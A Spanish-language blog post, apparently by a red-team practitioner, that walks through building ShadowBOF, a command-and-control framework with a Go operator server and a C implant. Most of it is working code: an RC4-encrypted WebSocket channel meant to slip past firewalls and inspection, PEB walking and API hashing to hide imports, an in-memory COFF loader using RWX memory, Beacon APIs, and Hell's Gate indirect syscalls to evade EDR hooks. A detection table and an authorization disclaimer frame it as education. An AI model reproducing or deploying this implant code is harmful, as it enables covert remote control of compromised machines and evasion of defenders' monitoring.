Introducción
El desarrollo de herramientas de Red Team requiere un entendimiento profundo de los mecanismos internos de Windows, protocolos de red, y las técnicas que utilizan los EDR para detectar actividad maliciosa. Este post documenta la construcción de ShadowBOF, un framework C2 desarrollado desde cero, explicando cada decisión técnica y sus implicaciones.
ShadowBOF implementa:
- Comunicación bidireccional vía WebSocket
- Resolución de APIs mediante PEB Walking
- Ejecución de Beacon Object Files (BOFs) en memoria
- Syscalls indirectos para evadir hooks de user-mode
Nota: ShadowBOF es un POC educativo enfocado específicamente en la transmisión y ejecución de Beacon Object Files (BOFs). No pretende ser un C2 completo - frameworks de producción como Cobalt Strike o Havoc implementan características adicionales como sleep obfuscation, malleable profiles, evasión de AMSI/ETW, y módulos de persistencia que están fuera del alcance de este proyecto.
Arquitectura del Sistema
ShadowBOF se compone de dos elementos: un servidor escrito en Go que proporciona la interfaz de operador, y un agente en C que se ejecuta en el sistema objetivo.

El servidor expone una CLI interactiva construida con el framework Cobra, que permite gestionar múltiples agentes simultáneamente. La comunicación utiliza WebSocket sobre HTTP, lo que permite atravesar firewalls y proxies corporativos sin levantar alertas.
+-----------------------------------------------------------+
| SHADOWBOF SERVIDOR (Go) |
| +-------------+ +-------------+ +-------------------+ |
| | CLI | | WebSocket | | Gestión BOFs | |
| | Cobra | | Handler | | (COFF files) | |
| +-------------+ +-------------+ +-------------------+ |
+----------------------------+------------------------------+
| ws:// + RC4
v
+-----------------------------------------------------------+
| SHADOWBOF AGENTE (C/x64) |
| +-------------+ +-------------+ +-------------------+ |
| | PEB Walking | | WinHTTP | | COFF Loader | |
| | API Hashing | | WebSocket | | + Beacon APIs | |
| +-------------+ +-------------+ +-------------------+ |
+-----------------------------------------------------------+
Servidor Go: Handler WebSocket
El servidor utiliza la librería gorilla/websocket para manejar las conexiones. Cada agente mantiene una conexión persistente que el servidor gestiona en una goroutine dedicada:
func (s *Server) handleAgent(w http.ResponseWriter, r *http.Request) {
conn, err := s.upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
agent := &Agent{
ID: generateAgentID(),
Conn: conn,
LastSeen: time.Now(),
}
s.agents.Store(agent.ID, agent)
go s.readLoop(agent)
}
func (s *Server) readLoop(agent *Agent) {
defer agent.Conn.Close()
for {
_, message, err := agent.Conn.ReadMessage()
if err != nil {
s.agents.Delete(agent.ID)
return
}
// Descifrar con RC4
decrypted := rc4Decrypt(s.key, message)
s.handleMessage(agent, decrypted)
}
}
Empaquetado de BOFs
Cuando el operador ejecuta run <bof>, el servidor construye el paquete binario:
func (s *Server) buildBOFPacket(bofPath, entry string, args []string) []byte {
// Leer archivo COFF
coffData, _ := os.ReadFile(bofPath)
// Empaquetar argumentos
argsBuf := packArguments(args)
// Construir payload: [EntryLen][Entry][ArgsLen][Args][COFF]
var payload bytes.Buffer
// Entry point
binary.Write(&payload, binary.LittleEndian, uint32(len(entry)))
payload.WriteString(entry)
// Argumentos
binary.Write(&payload, binary.LittleEndian, uint32(len(argsBuf)))
payload.Write(argsBuf)
// COFF data
payload.Write(coffData)
// Cifrar payload (RC4 Inner)
encPayload := rc4Encrypt(s.innerKey, payload.Bytes())
// Construir paquete final: [Cmd][Size][EncPayload]
var packet bytes.Buffer
binary.Write(&packet, binary.LittleEndian, uint32(CMD_BOF_EXECUTE))
binary.Write(&packet, binary.LittleEndian, uint32(len(encPayload)))
packet.Write(encPayload)
// Cifrar paquete completo (RC4 Outer)
return rc4Encrypt(s.outerKey, packet.Bytes())
}
func packArguments(args []string) []byte {
var buf bytes.Buffer
for _, arg := range args {
binary.Write(&buf, binary.LittleEndian, uint32(len(arg)+1))
buf.WriteString(arg)
buf.WriteByte(0x00) // NULL terminator
}
return buf.Bytes()
}
Resolución Dinámica de APIs
El Problema con los Imports Estáticos
Cuando un binario importa funciones de Windows de forma tradicional, estas aparecen en la Import Address Table (IAT). Cualquier analista puede inspeccionar el binario con herramientas como dumpbin o IDA Pro y obtener una lista completa de las APIs que utiliza.
Adicionalmente, los EDR hookean funciones como GetProcAddress y LoadLibrary para monitorear qué APIs resuelve un proceso en tiempo de ejecución.
PEB Walking
La solución es acceder directamente a las estructuras internas de Windows. El Process Environment Block (PEB) contiene una lista enlazada de todos los módulos cargados en el proceso. Navegando esta estructura podemos localizar cualquier DLL y parsear su Export Table manualmente.
PPEB pPeb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA pLdr = pPeb->Ldr;
PLIST_ENTRY head = &pLdr->InMemoryOrderModuleList;
for (PLIST_ENTRY curr = head->Flink; curr != head; curr = curr->Flink) {
PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr,
LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (hash_wstring(entry->BaseDllName.Buffer) == HASH_KERNEL32) {
return entry->DllBase;
}
}
API Hashing con djb2
Para evitar que los strings de nombres de funciones aparezcan en el binario, utilizamos hashes pre-calculados:
#define HASH_WinHttpOpen 0x5E4F39E5
#define HASH_WinHttpConnect 0x7242C17D
#define HASH_WinHttpSendRequest 0xB183FAA6
El algoritmo djb2 es simple pero efectivo para este propósito. Los hashes se calculan en tiempo de compilación con una herramienta auxiliar.
Protocolo de Comunicación
WebSocket sobre HTTP
La decisión de usar WebSocket en lugar de sockets TCP raw tiene varias ventajas operacionales:
| Característica | TCP Raw | WebSocket |
|---|---|---|
| Puerto | Custom (ej: 4444) | 80/443 |
| Firewall | Generalmente bloqueado | Permitido |
| Proxy corporativo | No funciona | Soportado |
| Inspección DPI | Protocolo desconocido | Tráfico HTTP válido |
La implementación utiliza las APIs nativas de WinHTTP, que están presentes en todas las versiones de Windows desde Vista.
Cifrado del Canal
El tráfico se cifra con RC4 utilizando una clave pre-compartida. La elección de RC4 es pragmática: es simple de implementar y suficiente para ofuscar el contenido del tráfico. Para un despliegue real, debería considerarse TLS o un cifrado más robusto.
El protocolo implementa doble cifrado para los payloads de BOF:
+-----------------------------------------------+
| Frame WebSocket (Binario) |
+-----------------------------------------------+
| RC4_Outer( |
| [Comando:4][Tamaño:4][ |
| RC4_Inner(Payload_BOF) |
| ] |
| ) |
+-----------------------------------------------+
Anatomía de un Paquete BOF
El formato del paquete que transporta un BOF es el siguiente:
Offset Bytes Campo Descripción
------ ----- -------------- ----------------------------------
0x00 4 Comando 0x100 = BOF_EXECUTE
0x04 4 Tamaño Total Longitud del payload que sigue
0x08 4 Entry Len Longitud del nombre del entry point
0x0C N Entry Point Nombre de la función (ej: "go")
0x0C+N 4 Args Len Longitud de los argumentos
0x10+N M Arguments Argumentos empaquetados
0x10+N+M ... COFF Data Archivo .o completo (binario)
Ejemplo concreto para run sysinfo:
00000000 00 01 00 00 # Comando: 0x100 (BOF_EXECUTE)
00000004 18 09 00 00 # Tamaño: 2328 bytes
00000008 02 00 00 00 # Entry Len: 2
0000000C 67 6F # Entry: "go"
0000000E 00 00 00 00 # Args Len: 0 (sin argumentos)
00000012 64 86 ... # COFF Header (Machine: 0x8664 = AMD64)
Flujo de Transmisión Completo
El diagrama siguiente muestra el flujo completo de ejecución de un BOF:

FASE 1 - Preparación: El operador ejecuta run sysinfo en la CLI.
FASE 2 - Empaquetado: El servidor:
- Lee el archivo sysinfo.o desde disco
- Construye el buffer con formato [EntryLen][Entry][ArgsLen][Args][COFF]
- Aplica RC4 Inner al payload
- Aplica RC4 Outer al paquete completo
FASE 3 - WebSocket: El frame binario se envía por la conexión persistente.
FASE 4 - Recepción: El agente:
- Recibe el frame con
WinHttpWebSocketReceive - Aplica RC4 Outer para obtener [Cmd][Size][Payload]
- Verifica que Cmd == 0x100 (BOF_EXECUTE)
- Aplica RC4 Inner al payload
FASE 5 - Carga COFF: El loader:
- Parsea los headers COFF
- Allocate memoria vía syscall indirecto
- Copia las secciones (.text, .data, .rdata)
- Resuelve símbolos externos (APIs de Windows, Beacon APIs)
- Aplica relocaciones
FASE 6 - Ejecución: Se llama a go(args, args_len).
FASE 7 - Retorno: El output en g_output_buffer se empaqueta, cifra, y retorna al servidor.
Beacon Object Files (BOFs)
¿Qué son los BOFs?
Los BOFs son archivos COFF (Common Object File Format) que contienen código compilado pero no enlazado. La ventaja es que pueden ejecutarse directamente en memoria sin necesidad de escribir un ejecutable a disco.
El Cargador COFF
El proceso de carga implica:
- Parsear el header COFF - Validar arquitectura (x64) y extraer metadatos
- Mapear secciones - Copiar .text, .data, .rdata a memoria ejecutable
- Resolver símbolos externos - Traducir referencias como
__imp_KERNEL32$VirtualAlloc - Aplicar relocaciones - Ajustar direcciones relativas
- Ejecutar - Llamar a la función
go()
int execute_bof_with_args(BYTE* bof_data, const char* entry,
char* args, int args_len) {
PCOFF_FILE_HEADER header = (PCOFF_FILE_HEADER)bof_data;
void* base = IndirectVirtualAlloc(NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Mapear secciones, resolver símbolos, aplicar relocaciones...
void (*go)(char*, int) = find_entry_point("go");
go(args, args_len);
}
Resolución de Símbolos COFF
El paso más complejo del cargador es resolver los símbolos externos. Los BOFs utilizan una convención de nombres especial: __imp_DLL$Function indica que se necesita importar Function desde DLL.dll.
typedef struct {
char Name[8]; // Nombre o offset a string table
DWORD Value; // Valor del símbolo
SHORT SectionNumber; // Sección donde está definido
WORD Type; // Tipo del símbolo
BYTE StorageClass; // IMAGE_SYM_CLASS_*
BYTE NumberOfAuxSymbols;
} COFF_SYMBOL;
void* resolve_symbol(const char* symbol_name) {
// Verificar si es un import externo
if (strncmp(symbol_name, "__imp_", 6) != 0) {
return NULL;
}
// Parsear formato: __imp_DLL$Function
const char* dll_func = symbol_name + 6;
char* separator = strchr(dll_func, '$');
if (!separator) return NULL;
// Extraer nombre de DLL
size_t dll_len = separator - dll_func;
char dll_name[64];
memcpy(dll_name, dll_func, dll_len);
dll_name[dll_len] = '\0';
strcat(dll_name, ".dll");
// Nombre de la función
const char* func_name = separator + 1;
// Resolver usando PEB Walking (evita GetProcAddress hookeado)
HMODULE hModule = get_module_by_hash(hash_string(dll_name));
if (!hModule) {
// Cargar DLL si no está en memoria
hModule = load_library_peb(dll_name);
}
return get_proc_address_peb(hModule, func_name);
}
La función resolve_symbol itera sobre la tabla de símbolos del COFF:
void process_symbols(BYTE* coff_base, BYTE* mapped_base) {
PCOFF_FILE_HEADER header = (PCOFF_FILE_HEADER)coff_base;
PCOFF_SYMBOL symbols = (PCOFF_SYMBOL)(coff_base + header->PointerToSymbolTable);
char* string_table = (char*)(symbols + header->NumberOfSymbols);
for (DWORD i = 0; i < header->NumberOfSymbols; i++) {
PCOFF_SYMBOL sym = &symbols[i];
// Obtener nombre del símbolo
char sym_name[256];
if (sym->Name[0] == 0) {
// Nombre en string table (offset en bytes 4-7)
DWORD offset = *(DWORD*)&sym->Name[4];
strcpy(sym_name, string_table + offset);
} else {
// Nombre inline (máx 8 chars)
memcpy(sym_name, sym->Name, 8);
sym_name[8] = '\0';
}
// Resolver símbolos externos (SectionNumber == 0)
if (sym->SectionNumber == 0 && sym->StorageClass == IMAGE_SYM_CLASS_EXTERNAL) {
void* resolved = resolve_symbol(sym_name);
if (resolved) {
// Guardar dirección resuelta para las relocaciones
g_symbol_addresses[i] = (UINT64)resolved;
}
}
// Saltar símbolos auxiliares
i += sym->NumberOfAuxSymbols;
}
}
Relocaciones: Un Ejemplo Práctico
Cuando el BOF contiene una llamada como:
KERNEL32$GetComputerNameA(buffer, &size);
El compilador genera:
call [rip + 0x00000000] ; Placeholder, necesita patch
El loader encuentra el símbolo __imp_KERNEL32$GetComputerNameA en la tabla de símbolos, lo traduce a “KERNEL32.dll” + “GetComputerNameA”, resuelve la dirección real, y parchea el offset:
// Calcular offset relativo
INT32 offset = (INT32)((BYTE*)real_func - (BYTE*)reloc_addr - 4);
*(INT32*)reloc_addr = offset;
Después del patch:
call [rip + 0x00001A3C] ; Ahora apunta a GetComputerNameA
Sistema de Argumentos
Los BOFs pueden recibir parámetros desde la línea de comandos del C2:
C2> run portscan 192.168.1.0/24 445
El servidor empaqueta los argumentos en formato binario:
[Len:4][String + NULL][Len:4][String + NULL]...
El BOF los extrae usando las Beacon APIs estándar:
void go(char* args, int length) {
datap parser;
BeaconDataParse(&parser, args, length);
char* target = BeaconDataExtract(&parser, NULL);
int port = BeaconDataInt(&parser);
// Lógica del BOF...
}
Implementación de Beacon APIs
Para que los BOFs funcionen, el agente debe proveer las Beacon APIs que estos esperan. Estas funciones se registran como símbolos especiales que el cargador COFF resuelve:
// Buffer global para output del BOF
char g_output_buffer[0x10000];
int g_output_length = 0;
// Estructura para parsear argumentos
typedef struct {
char* original; // Puntero al inicio del buffer
char* buffer; // Puntero actual de lectura
int length; // Bytes restantes
int size; // Tamaño total original
} datap;
void BeaconDataParse(datap* parser, char* buffer, int size) {
if (!parser) return;
parser->original = buffer;
parser->buffer = buffer;
parser->length = size;
parser->size = size;
}
char* BeaconDataExtract(datap* parser, int* out_size) {
if (!parser || parser->length < 4) return NULL;
// Leer longitud (4 bytes, little-endian)
int len = *(int*)parser->buffer;
parser->buffer += 4;
parser->length -= 4;
if (parser->length < len) return NULL;
char* result = parser->buffer;
parser->buffer += len;
parser->length -= len;
if (out_size) *out_size = len;
return result;
}
int BeaconDataInt(datap* parser) {
if (!parser || parser->length < 4) return 0;
int value = *(int*)parser->buffer;
parser->buffer += 4;
parser->length -= 4;
return value;
}
short BeaconDataShort(datap* parser) {
if (!parser || parser->length < 2) return 0;
short value = *(short*)parser->buffer;
parser->buffer += 2;
parser->length -= 2;
return value;
}
La función BeaconPrintf es crucial para que los BOFs retornen output al operador:
void BeaconPrintf(int type, const char* fmt, ...) {
va_list args;
va_start(args, fmt);
int remaining = sizeof(g_output_buffer) - g_output_length;
if (remaining <= 0) return;
int written = vsnprintf(
g_output_buffer + g_output_length,
remaining,
fmt,
args
);
if (written > 0) {
g_output_length += written;
}
va_end(args);
}
// Para output binario (ej: screenshots, dumps)
void BeaconOutput(int type, char* data, int len) {
if (g_output_length + len > sizeof(g_output_buffer)) {
len = sizeof(g_output_buffer) - g_output_length;
}
memcpy(g_output_buffer + g_output_length, data, len);
g_output_length += len;
}
El cargador COFF registra estas funciones para que sean resolubles:
typedef struct {
const char* name;
void* address;
} BeaconAPI;
BeaconAPI g_beacon_apis[] = {
{ "BeaconDataParse", BeaconDataParse },
{ "BeaconDataExtract", BeaconDataExtract },
{ "BeaconDataInt", BeaconDataInt },
{ "BeaconDataShort", BeaconDataShort },
{ "BeaconPrintf", BeaconPrintf },
{ "BeaconOutput", BeaconOutput },
{ NULL, NULL }
};
void* resolve_beacon_api(const char* name) {
for (int i = 0; g_beacon_apis[i].name != NULL; i++) {
if (strcmp(name, g_beacon_apis[i].name) == 0) {
return g_beacon_apis[i].address;
}
}
return NULL;
}
Syscalls Indirectos
Hooks de User-Mode
Los EDR modernos inyectan DLLs en cada proceso y hookean las funciones de ntdll.dll. Cuando el proceso llama a NtAllocateVirtualMemory, el EDR intercepta la llamada, registra los parámetros, y decide si permitirla.
Hell’s Gate
La técnica consiste en leer el System Service Number (SSN) directamente de ntdll y ejecutar la instrucción syscall nosotros mismos:
mov r10, rcx
mov eax, 0x18 ; SSN de NtAllocateVirtualMemory
syscall
ret
El SSN se obtiene parseando los primeros bytes de cada función Nt*. Si la función no está hookeada, el patrón es predecible:
4C 8B D1 mov r10, rcx
B8 XX XX 00 00 mov eax, SSN
Consideraciones Operacionales
Detección
| Técnica | Vector de Detección |
|---|---|
| PEB Walking | Acceso a gs:[0x60] desde código no firmado |
| Syscalls directos | Instrucción syscall fuera del rango de ntdll |
| Memoria RWX | Allocaciones con PAGE_EXECUTE_READWRITE |
| COFF en memoria | Signature 0x8664 en regiones no-imagen |
Limitaciones del Proyecto
ShadowBOF es un POC educativo. Para uso operacional faltaría implementar:
- Sleep obfuscation (CFG bypass, stack spoofing)
- Malleable C2 profiles
- Evasión automática de AMSI/ETW
- Módulos de persistencia
- Pivoting y proxying
- Staged payloads
Conclusiones
El desarrollo de ShadowBOF proporciona una comprensión profunda de:
- Estructuras internas de Windows (PEB, TEB, PE format)
- Mecanismos de detección de EDRs
- Diseño de protocolos seguros
- Técnicas de ejecución en memoria
Entender estas técnicas es esencial tanto para equipos ofensivos que necesitan desarrollar tooling personalizado, como para equipos defensivos que deben detectar estas tácticas.
Referencias
- Havoc C2 Framework - C2 moderno y open source desarrollado por @C5pทder
- Documentación PEB - ReactOS
- Hell’s Gate - am0nsec/VXUnderground
- PE/COFF Specification - Microsoft
- Cobalt Strike BOF Documentation
Este material es únicamente para propósitos educativos y de investigación en seguridad. Cualquier uso de estas técnicas requiere autorización explícita del propietario del sistema objetivo.
#RedTeam #C2Development #OffensiveSecurity #MalwareDevelopment